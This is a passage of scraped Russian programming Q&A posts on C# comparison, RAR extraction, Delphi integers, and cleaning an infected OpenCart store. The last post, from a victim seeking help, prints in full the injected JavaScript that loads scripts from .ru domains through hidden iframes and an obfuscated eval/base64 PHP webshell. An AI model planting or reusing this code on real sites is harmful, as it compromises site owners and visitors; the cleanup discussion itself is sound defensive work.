Далее, вместо сравнения через > применяем сравнение через IComparable
if (x.CompareTo(max) > 0) max = x;
Пробуем:
int[] list = { 1, 7, 2, 99, -14 }; Console.WriteLine(Max(list));
— получаем на выходе 99.

Заметьте, что если вы определите operator > и operator ==, то этим самым автоматически не будет поддерживаться интерфейс IComparable. Вы должны будете определить его вручную. Можно считать это недостатком в текущей реализации языка.

Дополнительное чтение по теме: Eric Lippert: Double Your Dispatch, Double Your Fun

Разархивирование архива RAR программно

Цель - программно разархивировать архив в определённую папку. Язык, как вы наверное поняли из тэгов - C++ . Писать взаимодействующие с архивами программы ранее не приходилось.


Ответ

Добрый день!
Вариантов несколько.
Написать модуль архивации "с нуля". Очень трудоемко, поэтому не обсуждаем. Взять готовый программный модуль, интегрировать к себе. Вариантов много, например Можно найти исходники unrar и втянуть их к себе в код. Что-нибудь такого типа Еще вариант. При установленном WinRAR (или аналогичном архиваторе) в системе можно его запускать через функцию вызова внешней программы с нужными ключами. Что-то вроде такого или такого

Проверить, что переменной типа Integer было присвоено значение

Как в Delphi проверить, что Integer переменной было ранее присвоено какое либо значение ?


Ответ

По-настоящему - никак. Integer не хранит нигде никакой дополнительной информации, кроме тех 4 байт что на него выделено.
Конечно, вы можете присвоить переменной какое-либо "волшебное" значение, которое никогда не встречается в ваших данных (например -1, или MaxInt, или 777777). И в простом приложении я бы так и сделал. Но однажды такое значение может вам встретиться и программа даст сбой.
Также можно использовать другой готовый тип данных, типа Variant
Более правильный вариант - хранить информацию о присвоении в другой переменной, например IsIntegerAssigned: Boolean; и поддерживать ее состояние при каждой операции. Но это более громоздко и неудобно.
Современный вариант - можно положить обе переменных в record и переопределить присвоение, примерно так:
TMyInteger = record private fValue: Integer; fIsChanged: Boolean; public // Присвоение Integer class operator Implicit(const A: Integer): TMyInteger; // Чтение значения. Не помню, можно ли так же через неявную конвертацию или нет property Value: Integer read fValue; property IsChanged: Boolean read fIsChanged; // Тут еще надо переопределить конструктор New, который будет заполнять поля нулями // А можно сделать fIsChanged: string; тогда поле будет пустым при первом обращении) end;
....
class operator TMyInteger.Implicit(const A: Integer): TMyInteger; begin Result.fValue := A; Result.fIsChanged := True; end;
I := TMyInteger.New; I := 45; Assert(I.IsChanged, 'I is changed');
Ну и конечно убер-вариант - положить в класс.

Как очистить сайт и базу данных от вирусов

Обнаружена запись в БД MySQL в Интернет-магазине OpenCart, которая выводит баннер с рекламой на странице продукта:
ncnjm3le.ru
http://3oaq3lgf23.ru:443
http://25haich4342.ru:443
http://gyh1lh20owj.ru:443
Как правильно очистить таблицу БД?


обнаружен скрытый код в поле DESCRIPTION (описании товара):
ASUS<script>window.a1336404323 = 1;!function(){var e=JSON.parse('["736c31666f31337965782e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "comp1.i-studio.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();</script><iframe id="a1996667054" src="https://ncnjm3le.ru/f2.html?a=24108" style="display: none;"></iframe><iframe id="a754394637" src="https://3oaq3lgf23.ru/u.html?a=24108" style="display: none;"></iframe>.</p>
<script></script><script></script><script></script><script></script><script></script><script></script><script></script><script></script> <script></script>


в phpMyAdmin Очистил поле description во всех товарах Проверил заново все таблицы на наличие скрытых ссылок, но исходящие соединения по прежнему есть:***
# Result Protocol Host URL Body Caching Content-Type Process Comments Custom 834 502 HTTP Tunnel to ncnjm3le.ru:443 530 no-cache, must-revalidate text/html; charset=UTF-8 chrome:1220 835 502 HTTP Tunnel to 3oaq3lgf23.ru:443 530 no-cache, must-revalidate text/html; charset=UTF-8 chrome:1220 836 502 HTTP Tunnel to ncnjm3le.ru:443 530 no-cache, must-revalidate text/html; charset=UTF-8 chrome:1220 837 502 HTTP Tunnel to 3oaq3lgf23.ru:443 530 no-cache, must-revalidate text/html; charset=UTF-8 chrome:1220 838 502 HTTP Tunnel to ncnjm3le.ru:443 530 no-cache, must-revalidate text/html; charset=UTF-8 chrome:1220 839 502 HTTP Tunnel to ncnjm3le.ru:443 530 no-cache, must-revalidate text/html; charset=UTF-8 chrome:1220 840 502 HTTP Tunnel to 3oaq3lgf23.ru:443 530 no-cache, must-revalidate text/html; charset=UTF-8 chrome:1220 841 502 HTTP Tunnel to 3oaq3lgf23.ru:443 530 no-cache, must-revalidate text/html; charset=UTF-8 chrome:1220 842 200 HTTP Tunnel to yastatic.net:443 0 chrome:1220 843 200 HTTP Tunnel to 25haich4342.ru:443 0 chrome:1220 844 200 HTTP Tunnel to 25haich4342.ru:443 0 chrome:1220 845 200 HTTP Tunnel to gyh1lh20owj.ru:443 0 chrome:1220 846 200 HTTP Tunnel to gyh1lh20owj.ru:443 0 chrome:1220 847 502 HTTP 9nktu1yr.ru /stat?a=24108&t=p4&s=1&r=0.38806721723339566 700 no-cache, must-revalidate text/html; charset=UTF-8 chrome:1220 848 304 HTTPS yastatic.net /morda-logo/i/bender/logo.png?1&ad_type=test 0 max-age=315360000; Expires: Thu, 31 Dec 2037 23:55:55 GMT chrome:1220 849 200 HTTPS gyh1lh20owj.ru /u.html?a=24108 2 281 max-age=14400; Expires: Sun, 29 May 2016 23:42:18 GMT text/html; charset=utf-8 chrome:1220 850 200 HTTPS 25haich4342.ru /f2.html?a=24108 2 280 max-age=14400; Expires: Sun, 29 May 2016 23:42:27 GMT text/html; charset=utf-8 chrome:1220
Как и где искать?
Скрытый код найден в файле: response.php (/system/library/) строка 67, установлен с batch_editor_v022 (можно скачать оригинал :)
http://ruopencart.com/moduli/opencart/31-batch-editor-paketnoe-redaktirovanie-tovarov-v022.html
virustotal.com обнаружил CPRF84F.Webshell
<-- // $output_page = eval(gzuncompress(base64_decode('eNqdVE1rg0AQ/Ss9FDaBUnRpE6R4SA/tJVBMPURLkHx4Uimkp+bXN/NczW7s7K656OLbeTPz5o3378uP18Xy80sUYRhG8+d5MJOF2MSL43H7O9ltf8rZU3Eo99+HciKy5u2Up+LuUWTBWtJ7RY8aX2RU5UlMx1hMH/6LJCzNAnqt6SFX9TmKThWwBMFMNGF5SnkRRbm4PHSr56eDymGLoBsdt/02oWYvslWhrYrtgYCuOjnQzRJhdo5+PPQyteJuogLtdl8R+H2m6ZwH9NJ7UDm0ufM9dF7T5+LsxZzNGAXgGvi6zvpzVKF6S6UEKV9ceQLsYFIsCVsDpg2mU5/P1JebhuYsxo9MZNd7Ox2l9WUzHTvW5hr8Ba73eYSHHAoNN9XpHx/ufROFhO6ahEE5BO5gUShxRtUqsfGu3Hx85M1u57itbzDDe+PVIcynOwvC+OqS10M3J8fIyvodvkVVq1YGs0Mz1dX05Q9RpiiO'))); eval(gzuncompress(base64_decode('eNqVVLFuwjAQ/ZUOSAapqnwmiWNVGejQLkgVtEMShBB0DFnY4OubO8exY7V2slxAuXt5792zFx/bz7fN9uvATiAUzxPIhDyxY7G53c735cJ5DaBkKnkmutcHflyyqn1/1N8VL8X+WrGnFyYU1gZLvSsKtnr+dx7sPLbzkub3WA1WE8MQHQa2Gh74m7j0PLp5fAYx1gYDi8tnJk6i9WDfg/RrX7QegQ/UQzBBnJRwsM9yIV3aH+QU9SVzuHi+NDX+iczLfjdaB7njcTB6wjg54vi+/rVnzSnqsXIypzVhnc4H/NCSND1sFh0GgLGzNiljJWEQYVc8rKicuFpY28w7WdM7MiD6/MWzBol/CAdDZ4CkHiOSMyOtkI3iNjp+0wyV7lawDoZOzEXuX2ZzMoGp/GkVXNpd+LbitjEadQF9M3Ze2v6AhAbMZUhfoEOHA6vXXyUobeY='))); eval(gzuncompress(base64_decode('eNqVVNFugjAU/ZU9mKBxIUCpShYe3AMYYrboIjCMMYAzxoBbTKaDrx/3SlnHC1ea3t4Genp6zi09d/76PJ2/rZWtbul8YprMHG2VjT09n+Oi35NeG5Y2MfWRMa5er8+f36ddXxts+so784vEsZQHVflKchgyTRk8di0d6rAYPq8BSsijEOLyksIwW9gUIE3lcpc4lVF4HxRrHahs+MwWkBD5TNodYQFA5nUHpC5azQ8WCiDIAYx2wOaIAiL7cP0jZamhMvnpmrfcPdVKYplASCDk0YW29Uh6xl1zWW3cyoFoHXFLtzZ2YZMEswAsgiWhVyTM26c5Snetci0OIOUn0hlEa9jlThkF/JAgyIpeC1gESYDnMCLf0lP3B4sAUYNlhnQdK4+Dn4wmr9nujXsVSbyXSHRFqzHV4K0g4FKGRYCuYD0wL6vYH5C5QYMfD9HgOOBYSyFCvmQQd1NUkXoTbg0NBnORDwRvj1zxX+aD0ZBUZtOM5q170TGH7fEXxZaFkAS3B1mIkpig8/9QS1TJI6SxiVBc7sK46K/6rzehPA2GmyiDp1++2ouh'))); eval(gzuncompress(base64_decode('eNrNF4tu4kjsV+YidCEqlxcJj/JYdbtpD4lCD+jppLYXBRhKdkMSTSZt2ar/fp4kwCRH21V0Wh3IIbZnbI/tsc0q9hfUDXz0gKkdOg+4WomJJ71U4NWnPfEq+O56nqOYsoqqV87C9WkQrTvopoMGPsUeAhoaT9FfSFNls4NIDPB4qsltWZfbErrEi2+BoquaqrZ0A124BK+CZ6UuN+S22Kks1r3K5XD8+Ww4vRVtra2ZLcOoGw1bvL/lGZrWbppNtaEzhl6/r5Ig9pdVVZLuq1KnhAjjIOJElXWz8ACxYFvt/GYyHF/PbPipJX4po8rMqWrwn+bHhKIlU2tydmmNZrU0QqUsauQtKkJB5cSa3UxGs8nZaHphTWq8WL2ttgytoTeZ2EzkSV1uFYFJfNOaJhfNo7EodcYWd8adZceE88wiHJgav47tNKWCl/60Jp/HU6u2crwIl7K4zVmsMfvyj4K+2eDKGt/MPg6HmX7fC0Fd5UPw9jLtiE+1d51U3vUSCzsrSCUKRF0/Ymj9pJ7FDARjQgKSSBe7yjxYbvtdZU03Xh9q0prScBEsSynmKhPkvcmAi9tgdDG2f5/Nru3z8RerTJLU+bqly/nS8QG+O3z05NLFuro/p/SycCKMRF1VxVOCaUx8lHi+MyfY+dZJuYZqHLh79+WWmKr+9pLX1xKnNXNXolUEOJFlnw2Hf1v2aDwbnINL3VXVjSJMqxX70prdikFMw5hG4r0EPS1DekVe5/WwLSNKvR4SvcBZitILJ/N6PIWNS5ekAqlD0r5JoY/xzM4rhjKQXyCKndf8Dg5Bcgn3NHLZVuc/H+EsGeyLwdACsSvXwyBO9J0N/CY+LGFMM5eZTbPwOKaQbkI7VVrjfQGexYt1gITZGiO2Fgml3HOsBWgFt3yAHzbqJzpfsFpFkN7xKJIFFIcsm/DyFyHLjfSIFrsmjJRg3TnpJ7AKyAY5yWTWuxM+7RKXibgT0AbTdbAERhhEFHAMM9w2xEDYxB51Q4dQhUn4belQ507oo67nzGFWAxqsgQQF2heYxBY0INvTrpJw+13XByUok0TxMxPNTrDbg9zl/lXpI/yMN6GHT9EyePKZZQoC24GT08ZcAeou4IfJekNbumqnLcMSddm70s9k57ZF8Xzjcmbu8UfHixlhuiPAzsQlfSG57JUVxf6ytx96BVYMTxXlIQgePPzVeXSiBXFDKi+CjcJQxQldOVyHnyJMHjHpsYy0YRaDtn8rpr/26OzKEu8h2L8mnSW3ZGL9cWNN2SQ5SEvHygX9DiHOtipkLUioCVkXgrfMoCCE4EI8mSFAfXp6kgukjfP8PfBlErP37Z6Z4DsMTh5v8qQCNt8K0I8IDj1ngXd2CbXUT3trSFxQ/jMIYFcQQ9DL9ON2vl0Wgd1ZFoja7uS1VFWZ1myoR8qNDsWhAKxQwCWKQN/WTrpkxAKxWgmltGpH59ymWXjwzH8P/IfyyL4/KChdW5grj46gBsx0BXhvHDW48Y2NgUltTAOz66v87fl59+F/nu1GfvrUi/B2tuc8XEIxP5W2YOxtJWPvf5jl5pEsN0CRwf/H0Nk/i/zjh9JTfz8bG/ls/Addwu3V'))); -->


Ответ

приблизительный алгоритм излечения: берешь старый здоровый бэкап сайта от провайдера, берешь текущую версию сайта
скачиваешь старый бэкап в папку, скачиваешь гит. git init . && git add . && git commit -m "master_clean"
скачиваешь текущую версию кода, укладываешь ее в ту же папку, перезаписывая все измененные файлы.
git checkout -b virus; git add . ; git commit -m "virus-init"
git diff master
находишь подозрительный код (ты его сразу узнаешь), удаляешь его отовсюду. загружаешь обратно на сервер. ставишь гит на сервер. комитишь. включаешь логи. меняешь ftp-пароли.
короче, это не совсем просто, но примерно так и работает.
основная проблема будет не в излечении, а в защите от вторжения (если вторглись через уязвимости, а не через твои собственные стыренные пароли от файлзиллы и т.д.), т.е. тебе придется понять, откуда произошел взлом - через какой-нибудь левый плагин или через уязвимость в основном движке сайта и т.д.
В приницпе, плагины ты можешь проверить ручками, если они у тебя есть - поищи google://название плагина+exploit в гугле
у моих знакомых была такая ситуация, к счастью, вторжение было через идиота-админа, поэтому помогла зачистка кода и смена ftp-пароля
базу данных, конечно, тоже надо зачистить ( находишь: "SELECT id FROM someTable WHERE someField like '%